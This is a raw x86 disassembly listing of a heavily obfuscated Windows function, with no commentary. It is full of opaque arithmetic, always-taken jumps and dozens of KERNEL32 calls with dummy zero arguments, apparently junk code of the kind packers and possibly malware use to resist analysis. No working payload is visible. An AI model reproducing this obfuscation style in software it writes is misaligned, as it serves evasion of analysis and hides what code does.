movzx edx, word [ebp - 0x88]
push edx
movzx eax, byte [ebp - 0x88]
push eax
movzx ecx, byte [ebp - 0x88]
push ecx
movzx edx, byte [ebp - 0x88]
push edx
call fcn.00414c40
movzx eax, al
sub ebx, eax
push 0
call dword [sym.imp.KERNEL32.dll_CancelIo]
sub ebx, eax
and edi, ebx
or esi, edi
mov dword [ebp - 0x88], esi
jmp 0x42205e
mov esi, dword [ebp - 0x10c]
sub esi, 0x301a6
movzx ecx, word [ebp - 0xac]
sub esi, ecx
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov edx, dword [ebp - 0x10c]
lea edi, [edx + eax - 0x42de2]
call fcn.00406b30
movzx eax, ax
sub edi, eax
shr edi, 0xa1
or esi, edi
mov dword [ebp - 0x88], esi
jmp 0x42205e
mov ecx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x10c]
lea eax, [edx + ecx - 0x5fb6]
mov byte [ebp - 0x81], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
test eax, eax
jne 0x422098
mov ecx, dword [ebp - 0x10c]
xor edx, edx
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x318], edx
mov eax, dword [ebp - 0x31c]
cmp eax, dword [ebp - 0x70]
jne 0x422098
mov ecx, dword [ebp - 0x318]
cmp ecx, dword [ebp - 0x6c]
je 0x4220c8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov esi, eax
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
cmp esi, eax
je 0x4220c8
mov edx, dword [ebp - 0x10c]
cmp edx, dword [ebp - 0x10c]
jne 0x42212b
mov eax, dword [ebp - 0x144]
push eax
call fcn.00406370
mov esi, 0x7cac2
sub esi, eax
mov edi, 0
sbb edi, edx
add esi, 0x3747d
adc edi, 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor ecx, ecx
sub esi, eax
sbb edi, ecx
sub esi, 0x58882
sbb edi, 0
mov edx, dword [ebp - 0x10c]
mov ecx, esi
shr edx, cl
mov eax, dword [ebp - 0x10c]
add eax, 0x6a502
and edx, eax
mov dword [ebp - 0x144], edx
jmp 0x422162
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov esi, eax
and esi, dword [ebp - 0x10c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
add eax, 0x5dc66
mov ecx, dword [ebp - 0x10c]
sub ecx, 0x57922
and eax, ecx
or esi, eax
mov dword [ebp - 0x144], esi
mov dword [ebp - 0x144], 0
jmp 0x422180
mov edx, dword [ebp - 0x144]
add edx, 0xf80
mov dword [ebp - 0x144], edx
cmp dword [ebp - 0x144], 0xf80
jae 0x42223d
mov eax, dword [ebp - 0x10c]
add eax, 0x4b1e7
mov esi, eax
xor edi, edi
add esi, dword [ebp - 0x70]
adc edi, dword [ebp - 0x6c]
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0x88]
push edx
movzx eax, byte [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x88]
push ecx
movzx edx, word [ebp - 0x88]
push edx
call fcn.00407800
movzx eax, ax
cdq
add esi, eax
adc edi, edx
movzx eax, byte [ebp - 0x81]
cdq
sub esi, eax
sbb edi, edx
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
sub esi, eax
sbb edi, ecx
movzx edx, byte [ebp - 0x81]
push edx
movzx eax, byte [ebp - 0x88]
push eax
movzx ecx, byte [ebp - 0x88]
push ecx
movzx edx, byte [ebp - 0x70]
push edx
movzx eax, byte [ebp - 0x88]
push eax
call fcn.00405f00
movzx eax, al
movzx ecx, byte [ebp - 0x81]
sub eax, ecx
cdq
and esi, eax
and edi, edx
or esi, dword [ebp - 0x70]
or edi, dword [ebp - 0x6c]
mov dword [ebp - 0x88], esi
jmp 0x42216e
push 0
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov esi, eax
sub esi, dword [ebp - 0x10c]
add esi, 0x54483
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
sub esi, eax
movzx edx, byte [ebp - 0x81]
lea esi, [esi + edx - 0x44571]
mov edi, dword [ebp - 0x10c]
add edi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
add edi, eax
or esi, edi
mov dword [ebp - 0x144], esi
movzx esi, word [ebp - 0xac]
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
movzx edx, word [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.00416600
movzx ecx, al
add esi, ecx
movzx edx, word [ebp - 0xac]
movzx eax, word [ebp - 0xac]
sub edx, eax
and esi, edx
movzx ecx, byte [ebp - 0x81]
sub ecx, dword [ebp - 0x10c]
sub ecx, dword [ebp - 0x10c]
or esi, ecx
mov edx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
lea ecx, [eax + edx + 0xf058]
movzx edx, word [ebp - 0xac]
lea eax, [ecx + edx + 0x3ddcb]
or esi, eax
mov dword [ebp - 0x144], esi
mov esi, 0x4dfaf
sub esi, dword [ebp - 0x10c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
sub esi, eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
add esi, dword [ebp - 0x10c]
lea esi, [eax + esi + 0x28d5a]
and esi, dword [ebp - 0x10c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
add eax, 0x65061
and esi, eax
mov dword [ebp - 0x144], esi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov esi, eax
sub esi, dword [ebp - 0x10c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
add esi, eax
movzx ecx, byte [ebp - 0x81]
add esi, ecx
and esi, 0x70c40
xor edi, edi
mov ebx, dword [ebp - 0x10c]
xor edx, edx
add ebx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x6c]
adc eax, edx
mov ecx, dword [ebp - 0x10c]
xor edx, edx
and ebx, ecx
and eax, edx
mov ecx, dword [ebp - 0x10c]
sub ecx, 0x4d39a
xor edx, edx
mov dword [ebp - 0x320], edi
movzx edi, word [ebp - 0x144]
push edi
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x328], edx
mov dword [ebp - 0x32c], ecx
call fcn.004057a0
mov edi, dword [ebp - 0x32c]
sub edi, eax
mov eax, dword [ebp - 0x328]
sbb eax, edx
and ebx, edi
mov edi, dword [ebp - 0x324]
and edi, eax
or esi, ebx
mov ebx, dword [ebp - 0x320]
or ebx, edi
mov edx, dword [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
call fcn.00415540
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
movzx ecx, byte [ebp - 0x81]
sub eax, ecx
and edi, eax
xor edx, edx
or esi, edi
or ebx, edx
mov word [ebp - 0xac], si
movzx eax, word [ebp - 0xac]
push eax
call fcn.00406370
mov ebx, eax
mov esi, edx
movzx eax, byte [ebp - 0x81]
cdq
add ebx, eax
adc esi, edx
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.004049b0
movzx eax, ax
add eax, 0x4d7a5
cdq
and ebx, eax
and esi, edx
mov byte [ebp - 0x81], bl
movzx esi, byte [ebp - 0x81]
add esi, 0x3e45b
sub esi, dword [ebp - 0x10c]
movzx ecx, byte [ebp - 0x81]
mov edx, dword [ebp - 0x10c]
sub edx, ecx
and esi, edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
mov ecx, 0x16a2a
sub ecx, eax
or esi, ecx
mov dword [ebp - 0x144], esi
movzx edx, word [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0x70]
push edx
movzx eax, byte [ebp - 0x81]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x70]
push ecx
call fcn.00415cf0
mov esi, eax
sub esi, 0x78901
call fcn.00406b30
movzx edi, ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
sub edi, eax
mov ecx, edi
shl esi, cl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
sub edi, eax
or esi, edi
movzx edi, word [ebp - 0xac]
movzx edx, byte [ebp - 0x81]
sub edi, edx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
movzx eax, ax
sub edi, eax
or esi, edi
or esi, 0x11567
mov dword [ebp - 0x144], esi
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.0043dd10
movzx edx, ax
add edx, dword [ebp - 0x10c]
movzx eax, byte [ebp - 0x81]
lea esi, [edx + eax + 0x9ea9]
movzx ecx, byte [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
movzx dx, byte [ebp - 0x81]
movzx eax, dx
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0xac]
push edx
call fcn.00419480
movzx eax, ax
add eax, 0x56f2c
sub eax, dword [ebp - 0x10c]
and esi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov edi, 0x4229d
sub edi, eax
sub edi, dword [ebp - 0x10c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
add edi, eax
and esi, edi
xor ecx, ecx
or esi, dword [ebp - 0x70]
or ecx, dword [ebp - 0x6c]
mov word [ebp - 0xac], si
movzx edx, word [ebp - 0xac]
add edx, 0x844
movzx eax, byte [ebp - 0x81]
sub edx, eax
sub edx, dword [ebp - 0x10c]
and edx, dword [ebp - 0x10c]
mov esi, edx
xor edi, edi
movzx ecx, byte [ebp - 0x70]
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.004052d0
mov ebx, eax
mov eax, edx
movzx ecx, word [ebp - 0x70]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx ecx, word [ebp - 0xac]
mov dword [ebp - 0x330], eax
mov eax, ecx
cdq
push edx
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00405d30
mov ecx, 0x648fc
sub ecx, eax
mov eax, 0
sbb eax, edx
and ebx, ecx
mov ecx, dword [ebp - 0x330]
and ecx, eax
and ebx, 0x7269
and ecx, 0
push 0
push 0
mov dword [ebp - 0x334], ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
xor ecx, ecx
and ebx, eax
mov eax, dword [ebp - 0x334]
and eax, ecx
and ebx, 0x2e1db
and eax, 0
or esi, ebx
or edi, eax
mov dword [ebp - 0x144], esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueEx]
mov edx, dword [ebp - 0x10c]
lea eax, [eax + edx + 0x19730]
and eax, 0x3a264
or eax, dword [ebp - 0x10c]
or eax, 0x4d6f8
mov word [ebp - 0xac], ax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
call fcn.0043dd10
movzx esi, ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
cmp esi, eax
ja 0x4227b9
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
add esi, dword [ebp - 0x10c]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea edx, [esi + eax - 0x139a5]
mov dword [ebp - 0x144], edx
jmp 0x422846
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10c]
lea esi, [ecx + eax - 0x4628]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
add esi, eax
mov edx, dword [ebp - 0x144]
push edx
movzx ax, byte [ebp - 0x81]
movzx ecx, ax
push ecx
movzx edx, word [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.00416600
movzx ecx, al
sub esi, ecx
sub esi, dword [ebp - 0x10c]
movzx ecx, byte [ebp - 0x81]
add ecx, 0x17ca7
shr esi, cl
xor edx, edx
or esi, dword [ebp - 0x70]
or edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
or esi, eax
or edx, ecx
mov dword [ebp - 0x144], esi
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
call fcn.00405ae0
movzx eax, ax
cmp dword [ebp - 0x10c], eax
je 0x42288e
mov ecx, 1
test ecx, ecx
jne 0x42288e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
cmp eax, 0x70be6
jne 0x422988
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
call fcn.004050c0
movzx esi, ax
add esi, 0x54a55
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
sub esi, eax
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.00401950
movzx eax, ax
add esi, eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esi, eax
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov edi, eax
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
add edi, eax
and esi, edi
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.00415a00
movzx edx, al
and esi, edx
xor eax, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], eax
jmp 0x4229c7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
sub eax, dword [ebp - 0x10c]
movzx ecx, word [ebp - 0xac]
lea edx, [eax + ecx + 0x74dd4]
mov eax, dword [ebp - 0x10c]
sub eax, dword [ebp - 0x10c]
sub eax, dword [ebp - 0x10c]
add eax, 0x5b7fe
and edx, eax
mov dword [ebp - 0x144], edx
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0x338], ecx
mov edx, dword [ebp - 0x338]
sub edx, 0xb
mov dword [ebp - 0x338], edx
cmp dword [ebp - 0x338], 0xc7
ja case.0x4229ff.1
mov eax, dword [ebp - 0x338]
movzx ecx, byte [eax + 0x43caec]
jmp dword [ecx*4 + 0x43cad0]
call fcn.00401400
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x144], 0xbd0a8
mov ecx, dword [ebp - 0x10c]
sub ecx, 0x7b912
mov esi, ecx
xor edi, edi
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.004052d0
sub eax, 0x31b79
sbb edx, 0
sub eax, 0x29af
sbb edx, 0
and esi, eax
and edi, edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
add eax, dword [ebp - 0x10c]
xor ecx, ecx
and esi, eax
and edi, ecx
movzx ebx, word [ebp - 0xac]
sub ebx, dword [ebp - 0x10c]
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x70]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0xac]
push edx
call fcn.00419480
movzx eax, ax
sub ebx, eax
add ebx, dword [ebp - 0x10c]
xor ecx, ecx
and esi, ebx
and edi, ecx
mov dword [ebp - 0x144], esi
call fcn.00419940
movzx edx, ax
mov eax, 0xbc4cc
sub eax, edx
and eax, 0x3910a
and eax, 0x13df6
mov ecx, dword [ebp - 0x10c]
sub ecx, dword [ebp - 0x10c]
or eax, ecx
mov dword [ebp - 0x144], eax
mov edx, 0x779d8
sub edx, dword [ebp - 0x10c]
mov dword [ebp - 0x144], edx
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
test eax, eax
jne 0x422dbf
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00418440
mov esi, eax
mov edi, edx
mov eax, dword [ebp - 0x10c]
sub eax, 0x4afc5
xor ecx, ecx
add eax, dword [ebp - 0x70]
adc ecx, dword [ebp - 0x6c]
and esi, eax
and edi, ecx
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
add eax, 0x7e8a5
xor edx, edx
and esi, eax
and edi, edx
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ebx, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
sub ebx, eax
movzx eax, byte [ebp - 0x81]
add ebx, eax
movzx eax, word [ebp - 0xac]
push 0
push 0
push 0
mov dword [ebp - 0x348], eax
call dword [sym.imp.KERNEL32.dll_GetProfileSectionA]
mov ecx, dword [ebp - 0x348]
add ecx, eax
push 0
push 0
push 0
mov dword [ebp - 0x34c], ecx
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
mov ecx, dword [ebp - 0x34c]
sub ecx, eax
and ebx, ecx
xor ecx, ecx
xor esi, ebx
xor edi, ecx
mov dword [ebp - 0x144], esi
jmp 0x422df9
movzx esi, word [ebp - 0xac]
sub esi, dword [ebp - 0x10c]
movzx edx, word [ebp - 0xac]
add edx, 0x3c0ab
and esi, edx
and esi, 0x7143d
call fcn.004174f0
add eax, 0x39268
and esi, eax
or esi, dword [ebp - 0x10c]
mov dword [ebp - 0x144], esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
movzx eax, byte [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0xac]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x70]
push eax
call fcn.00419480
movzx ecx, ax
sub ecx, 0x2012d
and esi, ecx
mov dword [ebp - 0x144], esi
mov edx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
lea esi, [eax + edx + 0x5208c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
mov edi, eax
movzx ecx, byte [ebp - 0x81]
and edi, ecx
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, word [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, byte [ebp - 0x144]
push edx
call fcn.004040a0
and edi, eax
or esi, edi
mov word [ebp - 0xac], si
movzx esi, word [ebp - 0xac]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileTime]
add esi, eax
mov dword [ebp - 0x144], esi
mov esi, dword [ebp - 0x10c]
sub esi, dword [ebp - 0x10c]
movzx eax, word [ebp - 0xac]
push eax
call fcn.00408380
sub esi, eax
movzx ecx, byte [ebp - 0x81]
sub esi, ecx
sub esi, 0xd814
mov dword [ebp - 0x144], esi
movzx eax, word [ebp - 0xac]
or eax, 0x3e01c
or eax, 0x8909
cdq
mov esi, eax
mov edi, edx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
call fcn.00415540
sub eax, dword [ebp - 0x10c]
and eax, 0x3af75
mov ebx, eax
xor eax, eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
mov ecx, dword [ebp - 0x6c]
push ecx
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx ecx, byte [ebp - 0x144]
push ecx
mov dword [ebp - 0x350], eax
call fcn.00405d30
mov ecx, edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [ebp - 0x354], eax
mov dword [ebp - 0x358], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
xor edx, edx
mov ecx, dword [ebp - 0x354]
add ecx, eax
mov eax, dword [ebp - 0x358]
adc eax, edx
movzx edx, byte [ebp - 0x81]
mov dword [ebp - 0x35c], eax
mov eax, edx
cdq
add ecx, eax
mov eax, dword [ebp - 0x35c]
adc eax, edx
add ecx, 0x18a59
adc eax, 0
and ebx, ecx
mov ecx, dword [ebp - 0x350]
and ecx, eax
or esi, ebx
or edi, ecx
mov dword [ebp - 0x144], esi
mov eax, 0x40dba
sub eax, dword [ebp - 0x10c]
xor eax, dword [ebp - 0x10c]
mov ecx, 0x73e04
sub ecx, dword [ebp - 0x10c]
or eax, ecx
or eax, 0xfffbfd38
mov edx, dword [ebp - 0x10c]
add edx, 0xa9070
or eax, edx
mov dword [ebp - 0x144], eax
xor eax, eax
je 0x423083
movzx ecx, byte [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0xac]
push eax
movzx ecx, byte [ebp - 0xac]
push ecx
call fcn.00414c40
movzx edx, al
add edx, dword [ebp - 0x10c]
and edx, 0x9c316
mov ecx, edx
xor esi, esi
movzx eax, byte [ebp - 0x81]
cdq
and eax, dword [ebp - 0x70]
and edx, dword [ebp - 0x6c]
or ecx, eax
or esi, edx
mov word [ebp - 0xac], cx
jmp 0x42308a
mov byte [ebp - 0x81], 0x63
movzx edx, byte [ebp - 0x81]
sub edx, 0x25b25
or edx, dword [ebp - 0x10c]
xor eax, eax
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x10c]
add ecx, 0x173a8
mov dword [ebp - 0x144], ecx
movzx edx, byte [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.004052d0
mov esi, eax
mov edi, edx
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
add esi, eax
adc edi, ecx
mov edx, dword [ebp - 0x10c]
xor eax, eax
sub esi, edx
sbb edi, eax
add esi, 0xd65d
adc edi, 0
mov ecx, dword [ebp - 0x10c]
xor edx, edx
add esi, ecx
adc edi, edx
add esi, 0x20e16
adc edi, 0
movzx eax, word [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
call fcn.00405a80
mov ebx, eax
mov eax, edx
add ebx, 0xe52a2
adc eax, 0
movzx ecx, word [ebp - 0x144]
push ecx
mov dword [ebp - 0x360], eax
call fcn.004057a0
add ebx, eax
mov eax, dword [ebp - 0x360]
adc eax, edx
and esi, ebx
and edi, eax
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov ebx, eax
push 0
push 0
push 0
call sub.KERNEL32.dll_SetConsoleDisplayMode
mov ecx, eax
shl ebx, cl
xor edx, edx
or esi, ebx
or edi, edx
mov word [ebp - 0xac], si
mov dword [ebp - 0x144], 0x49b4c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
movzx ecx, word [ebp - 0xac]
cmp eax, ecx
je 0x4231c1